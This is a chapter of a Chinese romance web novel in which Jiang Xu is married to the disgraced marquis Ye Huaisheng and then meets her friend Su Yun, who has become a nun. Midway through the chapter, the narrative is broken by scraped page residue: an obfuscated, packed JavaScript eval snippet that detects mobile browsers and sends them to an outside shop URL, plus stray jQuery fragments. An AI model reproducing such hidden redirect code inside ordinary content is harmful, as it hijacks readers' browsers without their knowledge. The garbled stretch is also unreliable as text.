姜絮不想和他再有什么牵扯,装作没听到,一动不动跪坐蒲团。
屋外的青荷以为她没听见,一连叫了四五声“二姑娘”。
姜絮无奈,按着膝盖站起身,踉跄几步过去捡起纸团。
“苏芸无恙。”
勉强算个好消息,姜絮的嘴角漾开一抹浅浅的微笑,她没事就好。
没想到他办事速度还挺快。
哪里像个什么被软禁戴罪在家的侯爷。
昨日与二皇子对峙,她被吓得整个人止不住颤抖,而他却像眼里完全没这人一样,抱起她就走,愣是一点面子都不留。
当真不怕掉脑袋么?
姜絮从怀里掏出册子翻阅笔记,她记得姜若雪写过关于他的一句话。
“反正也死不了,怕什么?”
姜絮甚至能想象他说这句话时的神情:
眼眸微睁,眼尾斜斜挑起,眸中翻涌着毫不掩饰的不屑,仿佛被他眼前之人不过是只碍眼的蝼蚁。
就如同那日被他抵在廊柱上,他望向她时的眼神一般:
“反正你也还不了手,欺你又如何?”
当日的屈辱再次漫上心头,又想起因他而背的红颜祸水的污名,沉寂许久的怒火又开始灼烧:
既然圣上定不了他的罪,那她便亲自去抓他的把柄定他的罪!
-
姜絮一直跪到出嫁当天才被放出祠堂,被丫鬟仆妇一阵拾掇盖上盖头,在暮色漫过尚书府的漆红大门的时候,由姜若雪牵着走向她的命运。
喜婆跟在一旁,帮姜絮撩起裙摆,提醒她注意避开门槛,嘴里念着些吉祥的话语。
因叶淮生戴罪之身,婚礼仪式一切从简,喇叭唢呐一并取消,只姜家的一些世家亲族捧场,周遭一些零零碎碎的祝福声与议论声,勉强还算热闹。
迎亲队伍停在巷子口。
说是队伍,叶淮生其实只带了阿策和卫珏,两个人,一辆马车,便已足矣。
叶淮生没有穿喜服,只一身墨色劲装,勾勒出他挺拔利落的身形,长发被一根猩红发带高高扎起,系带的末梢随风飘晃,在日渐暗淡的暮色里撞出一抹刺眼的鲜红,算是为这场迎亲沾了点喜气。
他轻握缰绳,稳坐马背,肩脊挺得笔直,眉眼稍显冷冽,脸上没有半点成婚的喜悦,反倒像一柄收剑入鞘的利刃,看着寒芒尽敛,却依旧藏着隐隐蛰伏的危险。
在看见是姜若雪牵着姜絮走出来时,他原本漫不经心的眉眼,竟微微沉了沉。
而姜家的人,看到他如此简陋的迎亲队伍,脸上的笑容都僵了几分,窃窃私语声压得极低,但还是飘进了姜絮的耳朵。
“就一辆马车?两个人?”
“这也太寒酸了吧?”
“侯爷如今戴罪之身,正被软禁着,能亲自迎亲已是不易。”
说是这样说,在场的人莫不替姜絮感到惋惜。
半年前姜若雪出嫁时,迎亲队伍八抬大轿,红绸马褂,鼓乐班子吹吹打打,从城东闹到城西,沿街挤满看热闹的百姓,议论声沸沸扬扬,盖过了震天的鞭炮声响。
同样是姜家的姑娘,这待遇却是天差地别。
姜絮也不恼,只是按了按姜若雪的手,暗示她:
“我说的没错吧?我与他并无半点情分。”
姜若雪回握姜絮的手,脸上的笑容不过一瞬,在见到叶淮生翻身下马朝她们走过来时,她突然愣住,又见叶淮生无视众人瞪大的眼睛,径直走到姜絮面前,不等姜絮反应过来,一把将人打横抱起。
姜絮只觉得脚下突然一轻,惊得一把攥住他的衣襟,却不小心抓到他衣襟之下硬邦邦的胸肌,登时脸就红了,缩着脖子悄悄往他怀里躲,却忘了头上还拢着红盖头,戴着凤冠。
那凤冠缀着细碎的银饰,又佩着几只金钗。姜絮这么一躲,凤冠的尖角直接戳着叶淮生的下颌,又随着她偏头的动作,擦过他的脖颈。
感受到脖颈处一阵冰凉,叶淮生低头瞥了眼怀里缩成一团的姜絮,压低了声音:
“别动。”
红盖头被风掀得翻卷,她一抬眸,刚好撞上他低垂的眉眼。他的眉峰蹙着,稍有愠色,可眸中却含着一寸转瞬即逝的温柔。
她慌忙垂下眼睫,红盖头又落回原处,将二人刚才猝不及防的对视遮得严严实实。
视线被红盖头遮挡,她没能看见他耳根悄悄漫上的一点薄红。
喜婆还跟在身后,揪着喜帕,拍着姜絮的肩膀,快步追上叶淮生的脚步:
“哎呀,侯爷,这不合规矩啊。”
叶淮生并未搭理,只是抱着她的手臂又收紧几分,脚步沉稳地来到马车前,弯腰把她送进车厢。
她摸索着车厢内壁坐稳,往角落缩了缩,身上还残留着他的气息,是那种混着风沙野草与淡淡铁腥的冷冽,像寂寥秋风卷着雨后尘土漫入鼻腔的味道,萧瑟、落寞、孤寂。
她似乎一瞬看到了他正驰骋疆场,马蹄踏破烟尘,厮杀冲透云霄。
她突然想起,他从鲜衣怒马的少年将军,沦为戴罪缚身的阶下囚,仅仅才过了半月而已。
曾经征战沙场的烈马,如今用来娶她回家,怪不得他会默不作声,一言不发,只是铁青着脸看她。
坐在车厢里的姜絮,指尖缠着红盖头,思绪万千,心里竟莫名泛起了一丝惆怅。
-
侯府的巷子口有禁卫军把守,马车在此停下,车帘被掀开,微光透进车厢,绣鞋上的珍珠泛着柔和的光芒。
赶在叶淮生之前,姜絮抢先说道:
“我自己走。”
“你还走得动?”叶淮生回她,语气依旧硬邦邦。
你怎知我走不动,姜絮心里腹诽,扶着车壁,摸索着挪动身子,才将将挪到车厢门口,便被叶淮生一把拉了过去,打横抱进怀里。
“你……”姜絮的话还没说出口,就被打断:
“走不动就别硬撑。”
他的语气稍有缓和,但依旧冷冽,和他冷冷清清毫无生气的镇北候府一样。
刚迈入侯府大门,没走几步他便猝不及防掀了她的红盖头,刚好撞上她正气鼓鼓瞪着他,还未来得及掩饰的神情。
一时之间,四目相对。
“你你你……”姜絮气得结结巴巴,“你怎么把红盖头掀了?”
叶淮生没有回她,只是望着怀中之人被他气得又羞又恼的模样,愣了愣神。
忽然一阵风来,吹得她垂落的发丝如柳絮飘扬。他抬手,准备将手里的红盖头给她重新盖上,盖头却被风吹走,挂到院中结着火红花苞的石榴树上。而他僵在半空的的手没来得及收回,就这么缠上她随风翻飞的发丝。
发丝轻软,如揉碎的云,带着淡淡的皂角与女儿家的脂粉香,触感顺着指尖漫上心头,痒得他心头发颤,喉结几不可察地滚了滚。她喊了他好几声,他才突然反应过来,飞快地收回手,攥成拳头垂在身侧。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058379|194933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
叶淮生单手抱着姜絮,一路抱进侯府侧院才将她放下来,避嫌似的退到了走廊下。
姜絮脚尖踩着青石板地站稳,不明所以地望向叶淮生,叶淮生双手抱肩,下巴点了点她身后。
姜絮转身回头,却见月门洞处,一个身着灰布僧衣,头戴僧帽的尼姑正缓缓朝她走来。
待她走近了些,姜絮这才辨认出来:
“苏芸!居然是你!”
姜絮快步上前,左右打量着。
苏芸剃了发,俨然一副尼姑模样,只是眉眼依旧温润,鼻梁挺秀,唇色淡得如春日桃瓣。
她朝姜絮微微躬身,双手合十:
“多谢夫人救命之恩。”
“不必谢我。”姜絮回道,语气里满满都是为她能得偿所愿感到开心,“佛家讲求因果。那日我参与了你的因,如今你卷入了我的果,救你一命本就是我分内之事。”
“阿弥陀佛,讲起来我与夫人也有过一面之缘。”
姜絮以为她会说栖云寺那次。
“三年前,家父疏通河道有功,曾破例参加宫宴,带了家眷同去。当时我在荷花池畔闲逛,捡到一个粗布荷包,样式不像是女儿家的。我以为是前面不远处的那位公子掉的,于是上前递上荷包,还未来得及询问,那位公子一把接过荷包丢进荷塘,他说他绝不会要女人碰过的东西。”
这位公子,该不会就是叶淮生吧?
绝不会要女人碰过的东西。
听起来也像是他能说得出口的话。
那她呢,她在哪?
“那位公子把荷包丢到荷塘,而夫人你,当时正划着小船在荷塘中央摘花。”
苏芸记得当时的姜絮不过十三四岁,脸庞稚嫩,眼神清澈,一身粉嫩襦裙。她伸手去够荷叶遮掩下的一朵,还未开放便几欲凋谢的荷花,轻轻一折,花入手中。
她望着手里的残荷,眉眼弯弯,苏芸却在她身上看到了因缘流转。
苏芸双手合十:
“而那位公子,正是今日与你结缘的夫君。”
果真是他,姜絮稍显错愕,头皮一阵发麻,只觉得胸口有点堵得慌。
原来在她未曾察觉的时候,命运早已暗中埋好了伏线。
苏芸牵起姜絮的手,往她手里塞了两个棉麻锦囊,一茜粉,一靛蓝。
那锦囊针脚织得细密,缀着一颗拇指般大小的白色菩提。
“这是我亲手缝的平安符,里面是黄纸画的平安咒,不求荣华富贵,只求二位岁岁安稳,年年无虞。”
苏芸的嗓音温润,透着青灯古佛般的沉静:
“归寺后,贫尼会日日诵经,为姑娘与夫君祈来世的缘。”
说罢,苏芸双手合十,深深一揖,而后转身离去,素衣身影融进渐渐深沉的夜色里。
而姜絮,攥着平安符,望着那两颗依偎在一起的菩提子,想起刚才他指尖擦过她发丝时的停顿,心头感觉沉甸甸的,她回头往廊下望了一眼。
檐下灯笼亮起,昏黄的光拢着他斜倚在廊柱上的身影,半边浸在光里,半边隐在檐下的阴影里。他的下颌线被晕染得有几分柔和,平日里冷硬的眉眼,此时竟被这暖黄的光衬得多了一丝温软。
在她望过去的瞬间,他像是被烫到一般,突然转移了视线。
祈来世的缘。
与他么?
姜絮嘴角勾起一抹自嘲,今生都没剩多少时间的缘分了,遑论来世。